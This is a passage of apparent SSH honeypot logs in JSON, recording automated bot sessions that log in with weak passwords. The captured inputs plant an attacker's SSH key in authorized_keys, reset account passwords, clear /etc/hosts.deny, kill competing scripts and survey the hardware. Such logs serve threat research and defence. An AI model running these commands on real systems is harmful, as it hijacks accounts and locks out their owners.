ls)"},{"seq":12,"at":"2026-08-27T12:08:28.935456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:08:29.241735+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:08:29.774081+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:08:30.069531+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:08:30.742086+00:00","kind":"output","latency_ms":null,"data":" 12:08:30 up 7 days, 8:58, 0 user, load average: 0.16, 0.14, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:08:31.038382+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:08:31.587031+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:08:31.884049+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:08:32.543199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:08:32.839121+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:08:33.287680+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:33 up 7 days, 8:58, 0 user, load average: 0.16, 0.14, 0.11\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:08:33.582597+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:08:34.277393+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:08:34.571141+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:08:35.062158+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:08:35.358997+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:08:36.197673+00:00","kind":"output","latency_ms":null,"data":"james"},{"seq":29,"at":"2026-08-27T12:08:36.494841+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:08:37.445778+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:08:37.744287+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:08:38.646684+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"james","password":"james@123","method":"password","accepted":true,"tier":"other"}]} {"id":"1f08357d-f587-4488-bc04-95d8113c1b3f","name":"solemn-languid-gadwall","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":44708,"username":"arash","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:08:12.443806+00:00","ended_at":"2026-08-27T12:08:13.652211+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2239,"events":[{"seq":1,"at":"2026-08-27T12:07:53.903003+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:07:54.230479+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:07:58.064272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:07:58.849218+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:07:59.177300+00:00","kind":"input","latency_ms":null,"data":"echo -e \"arash\\nbIkPAQqXSUtD\\nbIkPAQqXSUtD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:07:59.503573+00:00","kind":"input","latency_ms":null,"data":"echo \"arash\\nbIkPAQqXSUtD\\nbIkPAQqXSUtD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:07:59.833075+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:08:00.285752+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:08:00.611700+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:08:01.429166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:08:01.758623+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:08:02.981840+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:08:03.313833+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:08:03.822800+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:08:04.153840+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:08:04.518481+00:00","kind":"output","latency_ms":null,"data":" 12:08:04 up 7 days, 8:58, 0 user, load average: 0.05, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:08:04.848540+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:08:05.581400+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:08:05.910639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:08:06.771310+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:08:07.099703+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:08:07.718361+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:07 up 7 days, 8:58, 0 user, load average: 0.05, 0.05, 0.06\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:08:08.046648+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:08:08.740297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:08:09.069131+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:08:09.675165+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:08:10.003300+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:08:10.686156+00:00","kind":"output","latency_ms":null,"data":"arash"},{"seq":29,"at":"2026-08-27T12:08:11.012124+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:08:12.116330+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:08:12.444594+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:08:13.557160+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"arash","password":"arash","method":"password","accepted":true,"tier":"other"}]} {"id":"910b8f7b-fee8-4c24-b161-48ba24d1dd46","name":"jovial-grassy-finch","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59466,"username":"remoteuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":460,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:07:45.835551+00:00","ended_at":"2026-08-27T12:07:47.126183+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T12:07:23.364532+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:07:23.822961+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:07:29.069723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:07:29.617964+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:07:30.079239+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nIJ3hOjVhFeeY\\nIJ3hOjVhFeeY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:07:30.539753+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nIJ3hOjVhFeeY\\nIJ3hOjVhFeeY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:07:31.000081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:07:31.519947+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:07:31.979320+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:07:33.184835+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:07:33.646263+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:07:34.828685+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:07:35.293840+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:07:35.744784+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:07:36.210717+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:07:36.906681+00:00","kind":"output","latency_ms":null,"data":" 12:07:36 up 7 days, 8:57, 0 user, load average: 0.26, 0.2, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:07:37.368244+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:07:38.181048+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:07:38.640034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:07:39.428936+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:07:39.887335+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:07:40.644410+00:00","kind":"output","latency_ms":null,"data":"top - 12:07:40 up 7 days, 8:57, 0 user, load average: 0.26, 0.2, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:07:41.105882+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:07:41.725102+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:07:42.190662+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:07:42.995403+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:07:43.463300+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:07:44.077530+00:00","kind":"output","latency_ms":null,"data":"remoteuser"},{"seq":29,"at":"2026-08-27T12:07:44.538761+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:07:45.376791+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:07:45.836310+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:07:46.986157+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"remoteuser","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"ba97293b-35e3-4029-98f9-b3d8dc862f73","name":"mossy-whispering-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:07:30.593003+00:00","ended_at":"2026-08-27T12:07:31.628401+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:07:08.220424+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:07:08.484665+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:07:12.256188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:07:13.997955+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:07:14.269843+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zTCtD8i76eSf\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:07:14.529719+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:07:14.794187+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:07:16.393417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:07:16.660219+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:07:17.877297+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:07:18.144645+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:07:19.037693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:07:19.305243+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:07:19.931843+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:07:20.198139+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:07:21.092398+00:00","kind":"output","latency_ms":null,"data":" 12:07:21 up 7 days, 8:57, 0 user, load average: 0.18, 0.2, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:07:21.359465+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:07:22.019788+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:07:22.286255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:07:22.969430+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:07:23.235693+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:07:23.773768+00:00","kind":"output","latency_ms":null,"data":"top - 12:07:23 up 7 days, 8:57, 0 user, load average: 0.18, 0.2, 0.12\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:07:24.039808+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:07:26.220425+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:07:26.486443+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:07:27.352587+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:07:27.619485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:07:29.053628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:07:29.320038+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:07:30.326749+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:07:30.593806+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:07:31.550745+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"p@ssw0rd123","method":"password","accepted":true,"tier":"other"}]} {"id":"897bc932-7e0f-4cb1-bcd7-a13c7e8206ab","name":"cobalt-jaunty-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":48700,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":290,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:06:31.484188+00:00","ended_at":"2026-08-27T12:06:33.452428+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2293,"events":[{"seq":1,"at":"2026-08-27T12:06:14.463510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:06:14.754381+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:06:18.587436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:06:19.009630+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:06:19.300389+00:00","kind":"input","latency_ms":null,"data":"echo \"root:G7W2S2LwNtKm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:06:19.592469+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:06:19.881271+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:06:20.521548+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:06:20.811846+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:06:22.043358+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:06:22.336574+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:06:23.680479+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:06:23.973473+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:06:24.804144+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:06:25.093236+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:06:25.500532+00:00","kind":"output","latency_ms":null,"data":" 12:06:25 up 7 days, 8:56, 0 user, load average: 0.06, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:06:25.791305+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:06:26.656805+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:06:26.947031+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:06:27.305480+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:06:27.596746+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:06:27.958122+00:00","kind":"output","latency_ms":null,"data":"top - 12:06:27 up 7 days, 8:56, 0 user, load average: 0.06, 0.05, 0.05\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 